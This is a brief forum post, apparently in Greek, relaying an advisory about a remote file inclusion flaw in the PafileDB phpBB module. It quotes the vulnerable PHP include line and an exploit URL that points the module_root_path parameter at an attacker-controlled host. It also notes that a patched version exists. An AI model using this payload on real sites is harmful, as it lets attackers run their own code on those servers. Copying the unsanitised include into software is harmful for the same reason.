Forum

PafileDB Remote File Inclusion[phpBB] - Από {News-User}

PafileDB Remote File Inclusion[phpBB]

Vulnerable code :
$link_language = 'lang_english';
include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );

http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]



Υπάρχει νέα έκδοση
http://www.phparena.net/scripts.php?script=pafiledb